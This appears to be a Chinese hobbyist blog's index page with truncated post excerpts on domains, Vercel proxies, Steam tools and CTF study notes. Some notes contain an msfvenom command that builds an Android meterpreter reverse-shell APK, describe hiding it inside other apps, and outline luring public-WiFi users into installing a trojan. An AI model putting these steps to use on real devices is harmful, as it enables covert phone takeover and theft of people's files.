日常吐槽10：我的域名被停止解析了 —— 一段时间
这件事还得从群里的兄弟那里说起（右图）
主要是我这边没办法用个人身份备案，然后有些东西没有备案就很恼人，尤其是最近收到的Leancloud国际版不对大陆用户提供服务的通知
这就搞得没备案会让我陷入被动（特别是在某些服务上面），那没办法啦，既然有能够弄企备的方法，那就去弄一个吧
然后我就找上门了，就像下面这样
然后我就开始等待了，按照对面的说法我前面还有一个人，然后备案要等14-30天
结果某一天，别人告诉我服务炸了
然后我就去排查，看我的腾讯云上TS正在正常运行，但是就是连不到
与此同时，我的MC服务器也连接不到了，但是BungeeCord还在正常运行
我就猜是不是域名解析掉了，我就去问备案那边，他说确实是
那有啥办法嘛，只能等了呗
我就把我的必要服务开了第二个域名，例如我的BLOG开在了https://blog.ninym.top上面，前几天做的hexo域名检测工具开在了https://linkcheck.ninym.top
然后把部分Github仓库涉及到文档在我的网站上的加一条备用文档链接，然后陷入无尽的等待……
Vercel搭建反向代理
首先你需要安装一下vercel的命令行工具，使用npm进行安装（需要安装nodejs，没安装的自己去下一个）
1npm i -g vercel
当然你也可以用cnpm安装
1cnpm i -g vercel
安装完后可以使用vercel -v来看看是否安装成功了
123vercel -v>> Vercel CLI 24.2.4>> 24.2.4
接着把下面这些内容复制到一个json文件里面
123456{ "version": 2, "routes": [ {"src": "/(.*)","dest": "https://bili33.top/$1"} ]}
其中，我的域名那里可以改成你想要反代的网站的域名，例如填写cdn.jsdelivr.net，就可以按照jsdelivr的格式去使用它的CDN，例如
12345678910{ "versio ...
CSGO国服反和谐教程
其实这个东西非常简单，稍微翻一下文件就可以发现完美的操作了
先打开Steam，右键CSGO，选择属性，在左边的本地文件里面选择浏览
这会打开你的CSGO游戏文件夹，打开csgo文件夹，稍微翻一下就可以发现开头为pakxv的几个文件，有很明显的audiochinese perfectworld lowviolence字样，把它们删了就好了
注：每次CSGO更新都要进行这个操作！
SteamAutoQueue —— Steam自动探索3次队列，帮你拿到促销期间的卡牌！
其实这个我从夏促前就开始写了，只不过刚好那一周撞上各种考试，所以就保证了本地Windows版本的正常运行，Linux的就没动，等到周末再干的时候夏促已经开始了……
为啥我要做这个？主要是学生党又不是天天开电脑，像TemperMonkey的那种自动探索队列的脚本或者是Steam++里面带的那个，都要打开电脑，再去打开浏览器或者是Steam，所以我就做了一个这个不需要打开任何东西的。
因为完成太晚了，所以等到冬促的时候我再去推广吧，要是有哪位大哥愿意帮我推广的尽管发就行了，发完了站内艾特一下我~
先点个STAR✨，我们马上开始教学！
简体中文
变量获取
在Github Action运行
变量获取先打开Steam商店，正常登陆，然后按下F12打开开发者工具，在选项卡里面找到网络（Network），刷新一下，在左侧找到store.steampowered.com，点击一下，然后在右侧下拉找到Cookie，把里面的东西复制出来
如果你选择用Action运行，，那么把Cookie复制下来后直接进入[Action环节](#在Github Action运行)
如果你选择服务器运行，那么你需要运 ...
CTF学习笔记（大学篇）07 —— 手动注入msf到指定的程序
填坑回，因为之前在CTF学习笔记（大学篇）05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle (bili33.top)这篇文章里面说有时间就写，然后写我们CTF俱乐部学期总结的时候就顺带讲了这个，所以就填了个坑
首先要生成带有后门程序的apk文件
1msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 R > pentestlab.apk
这里的host我实际上填的是我的公网服务器的IP地址，生成以后，如果直接安装，手机是肯定会报毒的（特别是装的国产定制ROM如MIUI、COLOROS之类的），这个时候就要把我们的后门程序注入到其他的软件里面去
（装上了会像右边这个图标这样，啥也没有，而且点开除了打开了后门也不会有什么反应）
然后我们反编译一下软件，用Linux（可能会）自带的apktool（如果没有请直走右转Github）
1234567891011121314┌──(gamernotitle㉿kali-vmware)-[ ...
2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp
已更新官方WriteUP 代码浏览 - 20220619-National - CTF赛事文件合集 - GamerNoTitle的团队 (coding.net)
Break部分（好的，啥也不会）
WebTry2ReadFlag小明创建了一个测试站点，但是这个站点有什么用呢？
打开来是个网页，我没看出啥，不过我们队里搞Web的那位说是CSRF跨站攻击
joomla建站勿用弱口令！
这个是个CMS框架，整不出，提示写着建站勿用弱口令！，但是我没爆破出来……
（忘记截图了）
EzRome经过上次的战“疫”，你们已经对rome很了解了，现在他又带着新的waf卷土重来了。
这是一个WAF下的题目，还是不会嗯
EzLogin登陆成功就有flag哟~
一开始以为是弱口令，等到进了fix环节才发现我好像忘记了robots.txt也可以访问，可以大致看到路径下有什么文件，fix环节在讲这个
PWN小明的加密器小明写了一个字符串加密器，但不知道效果如何，大家来测一测吧！
nc进去后是一个加密器，但是没整出来
weirdheapA Little Weird
nc进去是一个程序，是一个建楼的背景
1 ...
CTF学习笔记（大学篇）06 —— 实战！在拟定的背景下运用社工和后门程序获取用户手机上的内容
这是一次结合了前几次文章里面介绍的各种方法来做的一次实战（主要是有讲座啥的挤在一起了，然后顺带就拿出来实战了一下），那么话不多说，我们现在开始！
所有未经允许的入侵均违法！！！
情景拟定假设现在即将迎来中国国际数码互动娱乐展览会（ChinaJoy，简称CJ），而你想要获取在场的用户手机中的某些文件。自然，直接向别人询问肯定是不合理的。此时我们想：能否通过网络直接访问到别人手机的文件，然后把我们需要的文件下载下来呢？
结合我前面几篇文章写的，我就想到可以通过社工手段诱导用户下载木马程序并安装运行，从而获取用户手机的控制权限，进而能够找到我们需要的文件并且下载下来这样的手段
方案拟定社工手段分很多种，社工库（这个真没办法，背后的原因很多样）、钓鱼网站（Steam高价值库存会遇到很多）等等等等，但既然是一个区域内的社工，首先想到的就是公共WIFI。因为本来就是个广Door人，花生地铁WIFI用的超级多（特别是之前流量的价格实在是伤不起的时候，但现在印象中不是有名无实就是直接没有了)
另外，像天河城之类的地方有什么aWifi、freewifi之类的，肯德基有KFCFreeWifi，麦当劳有 ...
Linux踩坑记录：为什么我的sudo反应这么慢
在用Kali的时候，用的最多的东西就是sudo了，但是在使用的过程中我发现一个问题：我在使用sudo的时候要等个半分钟到两分钟的时间才会让我输入密码，但是刚刚安装好kali的时候就不存在这个问题
当我在百度搜索的时候，我发现了有一种情况非常贴合我的kali：修改过hosts（/etc/hosts）文件
按照百度出来的结果描述，当使用sudo的时候，会先去寻找主机地址，而hosts文件中有几行就是写了主机地址的
1234567127.0.0.1 localhost127.0.1.1 kali-vmware # 这个是主机名，我这里在VMware上面装的而且命名为kali-vmware# The following lines are desirable for IPv6 capable hosts::1 localhost ip6-localhost ip6-loopbackff02::1 ip6-allnodesff02::2 ip6-allrouters
我打开我的hosts文件，因为之前修改过，后来被我删掉后重新touch了一次，所以是空的，我把这几行加回去后，诶，正 ...
CTF学习笔记（大学篇）05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
本文所用项目链接
ba0gu0/520apkhook: 把msf生成的安卓远控附加进普通的app中，并进行加固隐藏特征。可以绕过常见的手机安全管家。 (github.com)
在Ubuntu安装Msfvenom本来我想着能不能通过apt安装的，毕竟也是个软件包嘛（Kali就带了），然后我尝试运行
1sudo apt install msfvenom -y
结果告诉我找不到，只好求助于万能的Bing
首先我们需要把下面的这些内容保存到一个文件中（文件名随意）
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231 ...
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
相信大家现在在用的微信推送平台都是什么方糖QQ的server酱（Server酱·Turbo版 (ftqq.com)）又或者是什么PushPlus之类的，我自己用的是server酱，但是在使用过程中发现一个问题：它每天只能推5条消息
对于我这种拿另一个手机使用SMSForwarder（pppscn/SmsForwarder: 短信转发器 (github.com)）来转发短信的人来说，一天接到的验证码短信肯定不只5条，虽然配置了邮件转发，但是有的时候QQ的smtp服务器抽风，而且邮件不如微信好用，所以我就在想能不能搭建一个自己的推送服务器
恰巧我之前看到过songquanpeng/message-pusher: 搭建专属于你的微信消息推送服务 (github.com)这个项目，因为文档里面说可以部署在heroku上面，我就干起来了
本次使用到的项目以及平台：
pppscn/SmsForwarder: 短信转发器 (github.com)
songquanpeng/message-pusher: 搭建专属于你的微信消息推送服务 (github.com ...
